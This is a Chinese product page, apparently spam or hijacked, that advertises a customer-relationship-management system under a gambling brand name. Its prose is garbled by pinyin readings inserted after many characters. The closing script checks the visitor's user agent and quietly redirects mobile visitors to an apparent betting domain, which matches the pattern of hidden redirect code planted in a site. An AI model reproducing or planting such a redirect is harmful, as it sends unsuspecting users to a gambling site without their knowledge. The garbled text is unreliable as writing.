亚洲城棋牌

亚洲城棋牌»服务介绍»大型门户网站客户关系管理系统

大型门户网站客户关系管理系统

客(ke)户(hu)关(guan)系管(guan)理软件,是帮助(zhu)企业(ye)"一对一"服务客(ke)户(hu),与(yu)客(ke)户(hu)建立业(ye)务关(guan)系,记(ji)录客(ke)户(hu)需求(qiu),销售数据情况的管(guan)理系统。

亚洲城棋牌科技自(zi)主研发的(de)大型门(men)户网站(zhan)客(ke)户管(guan)理系统(tong)是专门(men)针(zhen)对各类有电话营销、网络营销需求的(de)电子商(shang)务(wu)网站(zhan)的(de)客(ke)户关系管(guan)理软件,软件设计从实用性、便捷性角度出发,优化操作界面,提供最(zui)人性化,最(zui)便于操作的(de)记录流(liu)程,帮(bang)助销售人员记录客(ke)户服务(wu)情况,帮(bang)助企(qi)业提高客(ke)户满意度,培养(yang)、维持客(ke)户忠诚度,让企(qi)业利用客(ke)户关系管(guan)理软件增(zeng)加收(shou)入,优化盈利,提高服务(wu)质量。

关系管理系统的特点和优势在于:


让企业不丢掉任何一个潜在客户;

服(fu)务与为服(fu)务客户明显区分(fen),杜(du)绝了过去因客户管理不当,而(er)冷落、失(shi)去潜在客户的情况发生(sheng)。

客户信息、服务记录清晰明了,有条有理;

凡服务过(guo)的客户均会对(dui)其需求、意向等信息进行详细(xi)记(ji)录,保存至(zhi)服务后(hou)台,方(fang)便(bian)日后(hou)服务的跟进。

了解客户意向,分析喜好,提升产品与服务;

分析功能将为用户提供客(ke)(ke)观的(de)客(ke)(ke)户情况报表,可(ke)帮(bang)助企业更(geng)好的(de)分析客(ke)(ke)户行(xing)为和(he)喜(xi)好,有针对性的(de)推出更(geng)好的(de)产品(pin)与服务。

保证客户资料唯一性,防止撞单、抢单、重复服务现象;

通过(guo)设置,可实(shi)现某(mou)一项目内客户(hu)资(zi)料的过(guo)滤,去除重复的客户(hu),使客户(hu)资(zi)料唯一。

客户资料永久保存,避免因人事变动导致客户资料流失、泄露;

客户(hu)资(zi)(zi)料的搜集、筛(shai)选、跟踪(zong)、维护等全部过(guo)程永(yong)久录入系统,避(bi)免客户(hu)资(zi)(zi)料丢失,客户(hu)资(zi)(zi)料导(dao)出权限设置,防止客户(hu)资(zi)(zi)料泄露。

帮助管理层随时了解业务进展情况;

利用系统强大的查询与统计功能,管理人(ren)员可随时查看(kan)业务报表,销售记录,业务分析等(deng)数据,让管理变得简(jian)单(dan)。

销售知识共享,提高业务员素质;

企业(ye)可将销(xiao)售(shou)话术、产(chan)品资料(liao)、报(bao)价单(dan)等销(xiao)售(shou)资料(liao)共(gong)享至(zhi)后台,方便业(ye)务人员随(sui)时(shi)学习(xi)和(he)查找,提高其业(ye)务水平。

功能介绍:


存储功能

客户资(zi)料无(wu)限存(cun)储,批(pi)量导入(ru)导出

查询功能

多条件(jian)查(cha)(cha)询(xun)客户资料,精确、模糊(hu)查(cha)(cha)询(xun),帮(bang)你快速定位客户。

记录功能

客户(hu)预(yu)约、拜访、合作意(yi)向、售后情况等(deng)信息录入(ru)系统,一目了然(ran)。

客户分配功能

客(ke)户数据转移(yi)、分(fen)配、共享,保证(zheng)客(ke)户资源(yuan)充分(fen)利用。

提醒功能

服务提醒(xing)(xing)、预约提醒(xing)(xing)、合同到(dao)期提醒(xing)(xing)、付款(kuan)提醒(xing)(xing)等(deng),最大限度避(bi)免(mian)疏(shu)漏。

分析统计功能

利用(yong)技术手段对电话(hua)数量(liang)和效(xiao)果等记录进行整合分(fen)析,找出存在的问题,发现业(ye)务服务方法,帮助提高业(ye)务成功(gong)率。

知识库功能

销售人员可随时查看业(ye)务(wu)知识库提(ti)供的内容,以便快速应对客户(hu)提(ti)出的疑问(wen),提(ti)高服务(wu)的反应速度和质量(liang),抓住客户(hu)。

来电提示功能

结合呼叫中(zhong)心(xin),来(lai)(lai)电(dian)时自(zi)动搜索系统(tong)内(nei)信(xin)息,并(bing)在电(dian)脑弹出(chu)窗口,显示来(lai)(lai)电(dian)人(ren)员信(xin)息资料,让销售人(ren)员有(you)条不紊的与客(ke)户进行沟通。

服务录音功能

配合呼叫中心及录(lu)音设备,可对(dui)所有(you)电(dian)话营(ying)销通话记录(lu)进行录(lu)音,时刻监(jian)督业务人员服务情况,保证服务质量。


请您填写相关真实信息,以便于我们及时与您取得联系!
  • *申 请 类 别:
  • *企 业 名 称:
  • *公司固定电话:
  • *联   系   人:
  • *联系 人 手机:
  • *联系 人 邮箱:
  • *企业所属行业:
  • *联系人 职务:
  • *联系人 部门:
  • *获 知 来 源:
  • *何时采购服务:
  • *预计使用人数:
  • *服务 将用于:

您即将下载:大型门户网站客户关系(xi)管理系(xi)统方(fang)案(an),是否 取消
留言咨询
姓名
手机
留言
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();